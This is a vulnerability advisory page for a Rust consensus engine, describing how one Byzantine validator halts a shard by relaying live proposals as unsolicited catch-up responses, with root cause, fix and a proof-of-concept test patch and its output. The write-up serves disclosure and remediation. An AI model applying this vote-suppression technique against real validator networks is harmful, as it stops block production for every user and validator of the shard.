Vulnerability DatabaseGHSA-mm3m-2528-qqj9

GHSA-mm3m-2528-qqj9: 
Rust vulnerability analysis and mitigation

Summary

A single Byzantine committee member (< 1/3) can halt a shard group indefinitely. It relays the leader's genuine live proposal to other replicas as an unsolicited CatchUpSyncResponse. The block is imported with ProposalOrigin::CatchUp, and the catch-up no-vote rule (#3095) then skips the vote on the unchecked assumption that the block is already certified. When the leader's own copy arrives it is treated as already processed, so the replica never votes. Combined with the attacker withholding its own vote, quorum is never reached (n=4: 2 of 3 required votes). Local PoC: 0 commits in 45 s, versus normal commits in a control run with only the withheld vote. Severity: High (liveness, no safety or fund loss).

Details

Contest: Ootle Security Bug Hunt (community.tari.com/t/397). Target: development @ 999af5727e497d4498a0cd8f29eec04c93ed97cc. Payout address (XTM): 12MLjJvxVwMKndBm6TbDJzR2NBEr1hpgKrruomaY3C8vngRtgys54Sy7FyytgzTccs56Ecf6nzFKfvZUtrAftapNb39

Root cause

CatchUpSyncResponse is accepted from any local committee member, with no check that a catch-up request is outstanding and no check that the carried block is already certified. The block is then imported with ProposalOrigin::CatchUp, and the catch-up no-vote rule (#3095) skips voting on it on the assumption that "the committee has already certified it". Nothing verifies that assumption.

  1. crates/consensus/src/hotstuff/on_message_validate.rs:124-134: CatchUpSyncResponse is admitted from any local committee member. process_catch_up_response (:394-424) imports the proposal without checking for an open request or a QC above the block.
  2. crates/consensus/src/hotstuff/on_inbound_message.rs:735: catch-up responses bypass the view filter, so they are processed at once, even for the current view.
  3. crates/consensus/src/hotstuff/worker.rs:1651-1654: the block is handled with ProposalOrigin::CatchUp.
  4. crates/consensus/src/hotstuff/on_receive_local_proposal.rs:520-529: no vote when the origin is catch-up. At :197-214, a block that is already stored is a no-op, so the leader's own copy arriving later never triggers the vote either.
  5. crates/state_store_rocksdb/src/writer.rs:~325-336: parked_blocks_insert overwrites the origin of an already-parked block with CatchUp. If the replica parked the leader's copy (missing transactions), the block later unparks without a vote. This variant is deterministic and needs no race.

Attack (one Byzantine member, < 1/3 of the committee)

  1. The attacker receives leader L's live proposal P, which L multicasts to the committee.
  2. It immediately sends CatchUpSyncResponse(P) to the other replicas. P is genuinely signed by L, so check_local_proposal passes.
  3. Those replicas import P as a catch-up block and do not vote. When L's copy arrives, it hits "already processed".
  4. The attacker also withholds its own vote. With n=4 (quorum 3), at most 2 votes remain, so no QC forms. The view times out, and the attacker repeats this for every new proposal. The shard halts for as long as it keeps going.

Fix

Treat a catch-up block as certified only when that is proven:

  • accept a CatchUpSyncResponse only against an open catch-up request with an expected height range, and/or
  • skip the vote only when the block height is at or below the replica's highest stored QC; and
  • never overwrite a parked block's origin because of an unsolicited delivery.

Not a duplicate

GHSA-95xj-f7cc-px8c uses the same unsolicited CatchUpSyncResponse entry point. It claims only parked-block storage growth and states "No ... consensus halt ... is claimed". This report has a different root cause (vote suppression through the ProposalOrigin mislabel) and a different result (a liveness halt). The behaviour only exists since #3095, whose tests cover only honest catch-up servers. No open issue or PR covers it.

Proof of concept

Local, offline test in consensus_tests. The patch below (applies cleanly with patch -p1 at 999af572) adds:

  • a MessageInjector hook to the test network (support/network.rs, support/harness.rs), so a Byzantine member can send forged messages;
  • src/catch_up_relay_halt.rs with two tests in a 4-validator committee, where validator "4" is the attacker and "2" is the victim. Run:
patch -p1 < poc-catch-up-relay.patch
cargo test -p consensus_tests --lib catch_up_relay_halt

Observed result:

control OK: 3 commits, victim voted on 3 blocks
test catch_up_relay_halt::control_withholding_one_vote_still_commits ... ok
commit events: 0, catch-up blocks relayed to victim: 7, victim votes: 14, votes on relayed blocks: [], attacker vote messages seen: 27
test catch_up_relay_halt::catch_up_relay_from_one_member_halts_committee ... ok
test result: ok. 2 passed; 0 failed
  • Control: the attacker only withholds its votes (f=1 tolerated). The committee commits normally.
  • Exploit: the attacker also relays each live proposal to the victim as an unsolicited catch-up response. There are 0 commits in 45 s, and the victim casts zero votes on any of the 7 relayed blocks. Its log shows 🌐 Not voting on ... catch-up for each of them. The victim's 14 votes are all on other blocks.
--- a/crates/consensus_tests/src/support/network.rs
+++ b/crates/consensus_tests/src/support/network.rs
@@ -33,11 +33,16 @@
 };
 
 pub type MessageFilter = Box<dyn Fn(&TestAddress, &TestAddress, &HotstuffMessage) -> bool + Sync + Send + 'static>;
+/// Returns messages to deliver to `to` (with their apparent sender) immediately before the original message.
+/// Models a peer that relays copies of what it sees.
+pub type MessageInjector =
+    Box<dyn Fn(&TestAddress, &TestAddress, &HotstuffMessage) -> Vec<(TestAddress, HotstuffMessage)> + Sync + Send + 'static>;
 
 pub fn spawn_network(
     channels: Vec<ValidatorChannels>,
     shutdown_signal: ShutdownSignal,
     message_filter: Option<MessageFilter>,
+    message_injector: Option<MessageInjector>,
 ) -> TestNetwork {
     let tx_new_transactions = channels
         .iter()
@@ -83,6 +88,7 @@
         offline_destinations: offline_destinations.clone(),
         shutdown_signal,
         message_filter,
+        message_injector,
     }
     .spawn();
 
@@ -222,6 +228,7 @@
     offline_destinations: Arc<RwLock<Vec<TestAddress>>>,
     shutdown_signal: ShutdownSignal,
     message_filter: Option<MessageFilter>,
+    message_injector: Option<MessageInjector>,
 }
 
 impl TestNetworkWorker {
@@ -337,6 +344,11 @@
             if to != from && self.is_offline_destination(&from, &to).await {
                 continue;
             }
+            if let Some(injector) = &self.message_injector {
+                for (inj_from, inj_msg) in injector(&from, &to, &msg) {
+                    let _ = self.tx_hs_message.get(&to).unwrap().send((inj_from, inj_msg)).await;
+                }
+            }
 
             if self
                 .tx_hs_message
@@ -367,6 +379,11 @@
             return;
         }
         log::debug!("✉️ Message {} sent from {} to {}", msg, from, to);
+        if let Some(injector) = &self.message_injector {
+            for (inj_from, inj_msg) in injector(&from, &to, &msg) {
+                let _ = self.tx_hs_message.get(&to).unwrap().send((inj_from, inj_msg)).await;
+            }
+        }
         self.on_message.send(Some(msg.clone())).unwrap();
         self.num_sent_messages
             .fetch_add(1, std::sync::atomic::Ordering::Relaxed);
--- a/crates/consensus_tests/src/support/harness.rs
+++ b/crates/consensus_tests/src/support/harness.rs
@@ -54,6 +54,7 @@
 
 use super::{
     MessageFilter,
+    MessageInjector,
     NetworkSendObserver,
     TEST_NUM_PRESHARDS,
     TEST_WASM_EXECUTION_POINTS,
@@ -683,6 +684,7 @@
     rocks_path: Option<String>,
     timeout: Option<Duration>,
     message_filter: Option<MessageFilter>,
+    message_injector: Option<MessageInjector>,
     send_observer: Option<NetworkSendObserver>,
     failure_nodes: Vec<TestAddress>,
     config: HotstuffConfig,
@@ -700,6 +702,7 @@
             timeout: Some(DEFAULT_PACEMAKER_BLOCK_TIME * 3),
             rocks_path: None,
             message_filter: None,
+            message_injector: None,
             send_observer: None,
             failure_nodes: Vec::new(),
             claim_keys: None,
@@ -803,6 +806,11 @@
         self
     }
 
+    pub fn with_message_injector(mut self, message_injector: MessageInjector) -> Self {
+        self.message_injector = Some(message_injector);
+        self
+    }
+
     pub fn with_message_filter(mut self, message_filter: MessageFilter) -> Self {
         self.message_filter = Some(message_filter);
         self
@@ -914,7 +922,7 @@
             shutdown.to_signal(),
         )
         .await;
-        let network = spawn_network(channels, shutdown.to_signal(), self.message_filter);
+        let network = spawn_network(channels, shutdown.to_signal(), self.message_filter, self.message_injector);
 
         Test {
             validators,
--- a/crates/consensus_tests/src/lib.rs
+++ b/crates/consensus_tests/src/lib.rs
@@ -5,6 +5,8 @@
 #[cfg(test)]
 mod catch_up_on_proposal_ahead;
 #[cfg(test)]
+mod catch_up_relay_halt;
+#[cfg(test)]
 mod catch_up_rewind;
 #[cfg(test)]
 mod consensus;
--- /dev/null
+++ b/crates/consensus_tests/src/catch_up_relay_halt.rs
@@ -0,0 +1,186 @@
+//   Copyright 2026 The Tari Project
+//   SPDX-License-Identifier: BSD-3-Clause
+
+//! One Byzantine committee member relays every live proposal as an unsolicited catch-up response, which
+//! suppresses the receiving replica's vote, and withholds its own vote. With n = 4 (quorum 3, f = 1) this
+//! halts the committee.
+//!
+//! Control test: withholding the Byzantine member's votes alone does NOT halt the committee.
+
+use std::{
+    collections::HashSet,
+    sync::{Arc, Mutex},
+    time::{Duration, Instant},
+};
+
+use tari_consensus::messages::HotstuffMessage;
+use tari_consensus_types::{BlockId, Decision};
+use tari_ootle_common_types::{Epoch, NodeHeight};
+
+use crate::support::{Test, TestAddress, logging::setup_logger};
+
+#[derive(Default, Debug)]
+struct Observed {
+    votes_by_victim: HashSet<BlockId>,
+    victim_catch_up_blocks: HashSet<BlockId>,
+    attacker_vote_messages: usize,
+}
+
+fn attacker() -> TestAddress {
+    TestAddress::new("4")
+}
+
+fn victim() -> TestAddress {
+    TestAddress::new("2")
+}
+
+fn message_filter(observed: Arc<Mutex<Observed>>) -> crate::support::MessageFilter {
+    let attacker = attacker();
+    let victim = victim();
+    Box::new(move |from, _to, msg| {
+        let mut o = observed.lock().unwrap();
+        match msg {
+            HotstuffMessage::Vote(v) if *from == victim => {
+                o.votes_by_victim.insert(v.vote.block_id);
+            },
+            HotstuffMessage::Vote(_) | HotstuffMessage::NewView(_) if *from == attacker => {
+                o.attacker_vote_messages += 1;
+                return false;
+            },
+            _ => {},
+        }
+        true
+    })
+}
+
+/// Delivers the attacker's copy of every proposal to the victim as a catch-up response, just before the
+/// leader's own copy arrives.
+fn catch_up_relay_injector(observed: Arc<Mutex<Observed>>) -> crate::support::MessageInjector {
+    let attacker = attacker();
+    let victim = victim();
+    Box::new(move |from, to, msg| {
+        if *to != victim || *from == attacker || *from == victim {
+            return Vec::new();
+        }
+        if let HotstuffMessage::Proposal(proposal) = msg {
+            let block_id = *proposal.block.id();
+            observed.lock().unwrap().victim_catch_up_blocks.insert(block_id);
+            vec![(
+                attacker.clone(),
+                HotstuffMessage::new_catch_up_sync_response((**proposal).clone()),
+            )]
+        } else {
+            Vec::new()
+        }
+    })
+}
+
+async fn build_test(
+    inject_relay: bool,
+) -> (Test, Arc<Mutex<Observed>>) {
+    let observed = Arc::new(Mutex::new(Observed::default()));
+    let mut builder = Test::builder()
+        .with_test_timeout(Duration::from_secs(180))
+        .modify_consensus_constants(|c| {
+            c.pacemaker_block_time = Duration::from_secs(2);
+            c.missed_proposal_suspend_threshold = 50;
+        })
+        .with_message_filter(message_filter(observed.clone()))
+        .add_committee(0, vec!["1", "2", "3", "4"]);
+    if inject_relay {
+        builder = builder.with_message_injector(catch_up_relay_injector(observed.clone()));
+    }
+    let test = builder.start().await;
+    (test, observed)
+}
+
+/// Control: a single withheld vote (f = 1 of n = 4) must not stop consensus.
+#[tokio::test(flavor = "multi_thread", worker_threads = 4)]
+async fn control_withholding_one_vote_still_commits() {
+    setup_logger();
+    let (mut test, observed) = build_test(false).await;
+
+    for _ in 0..3 {
+        test.send_transaction_to_all(Decision::Commit, 1, 2, 1).await;
+    }
+    test.start_epoch(Epoch(1)).await;
+
+    let mut commits = 0;
+    while commits < 3 {
+        let (_, _, _, committed_height) = tokio::time::timeout(Duration::from_secs(90), test.on_block_committed())
+            .await
+            .expect(
+                "CONTROL FAILED: no commit within 90s with only one withheld vote - the exploit test would be \
+                 meaningless",
+            );
+        assert!(committed_height > NodeHeight(0));
+        commits += 1;
+    }
+
+    let o = observed.lock().unwrap();
+    assert!(
+        !o.votes_by_victim.is_empty(),
+        "control premise: the victim must vote in a healthy network"
+    );
+    log::info!("control OK: {} commits, victim voted on {} blocks", commits, o.votes_by_victim.len());
+
+    test.stop();
+    test.assert_clean_shutdown().await;
+}
+
+/// Exploit: the attacker additionally relays each live proposal to the victim as a catch-up response, so the
+/// victim imports it without voting. One honest vote suppressed + the attacker's own withheld vote = 2 of 4,
+/// below quorum, forever.
+#[tokio::test(flavor = "multi_thread", worker_threads = 4)]
+async fn catch_up_relay_from_one_member_halts_committee() {
+    setup_logger();
+    let (mut test, observed) = build_test(true).await;
+
+    for _ in 0..3 {
+        test.send_transaction_to_all(Decision::Commit, 1, 2, 1).await;
+    }
+    test.start_epoch(Epoch(1)).await;
+
+    let start = Instant::now();
+    let mut commits = 0;
+    let mut last_tx = Instant::now();
+    while start.elapsed() < Duration::from_secs(45) {
+        if let Ok((_addr, _block, _epoch, height)) =
+            tokio::time::timeout(Duration::from_secs(5), test.on_block_committed()).await
+        {
+            log::warn!("UNEXPECTED COMMIT at height {height} despite the attack");
+            commits += 1;
+            break;
+        }
+        if last_tx.elapsed() > Duration::from_secs(10) {
+            let _ = test.send_transaction_to_all(Decision::Commit, 1, 2, 1).await;
+            last_tx = Instant::now();
+        }
+    }
+
+    let o = observed.lock().unwrap();
+    let overlap: Vec<_> = o.victim_catch_up_blocks.intersection(&o.votes_by_victim).collect();
+    log::info!(
+        "commit events: {commits}, catch-up blocks relayed to victim: {}, victim votes: {}, votes on relayed \
+         blocks: {overlap:?}, attacker vote messages seen: {}",
+        o.victim_catch_up_blocks.len(),
+        o.votes_by_victim.len(),
+        o.attacker_vote_messages
+    );
+
+    assert!(
+        !o.victim_catch_up_blocks.is_empty(),
+        "test premise: the attacker must have relayed at least one proposal as a catch-up response"
+    );
+    assert!(
+        overlap.is_empty(),
+        "the victim voted on {overlap:?} despite importing them through catch-up"
+    );
+    assert_eq!(
+        commits, 0,
+        "committee committed {commits} blocks under a single-member attack; expected a halt"
+    );
+
+    test.stop();
+    test.assert_clean_shutdown().await;
+}

Impact

Liveness / denial of service against a whole shard group (Tier 1, consensus). Trigger: a single Byzantine committee member using only its own key, below the 1/3 bound and inside the contest trust model. It sends nothing invalid, only genuine leader-signed proposals relabelled as catch-up responses, one cheap message per proposal. Affected: every user and validator of the shard group. Block production stops for as long as the attacker continues, no transaction commits, and cross-shard transactions depending on the group stall. Nothing detects or penalises it. Safety is not affected: no conflicting commits or fund theft are claimed.


Source: NVD

Related Rust vulnerabilities:

CVE ID

Severity

Score

Technologies

Component name

CISA KEV exploit

Has fix

Published date

GHSA-xm3f-jwj9-3x8mMEDIUM4.5
  • Rust logoRust
  • russh-config
NoYesNov 21, 2026
GHSA-m6v5-wqxv-mffhMEDIUM4.3
  • Rust logoRust
  • russh
NoYesNov 21, 2026
GHSA-66vf-xq4p-pg7qLOW3.7
  • Rust logoRust
  • russh
NoYesNov 21, 2026
GHSA-7qgr-cjxw-6vjfLOW3.1
  • Rust logoRust
  • russh
NoYesNov 21, 2026
GHSA-v3vc-7662-5hv7LOWN/A
  • Rust logoRust
  • russh
NoYesNov 21, 2026

Free Vulnerability Assessment

Benchmark your Cloud Security Posture

Evaluate your cloud security practices across 9 security domains to benchmark your risk level and identify gaps in your defenses.

Request assessment

Additional Wiz resources

Get a personalized demo

Ready to see Wiz in action?

"Best User Experience I have ever seen, provides full visibility to cloud workloads."
David EstlickCISO
"Wiz provides a single pane of glass to see what is going on in our cloud environments."
Adam FletcherChief Security Officer
"We know that if Wiz identifies something as critical, it actually is."
Greg PoniatowskiHead of Threat and Vulnerability Management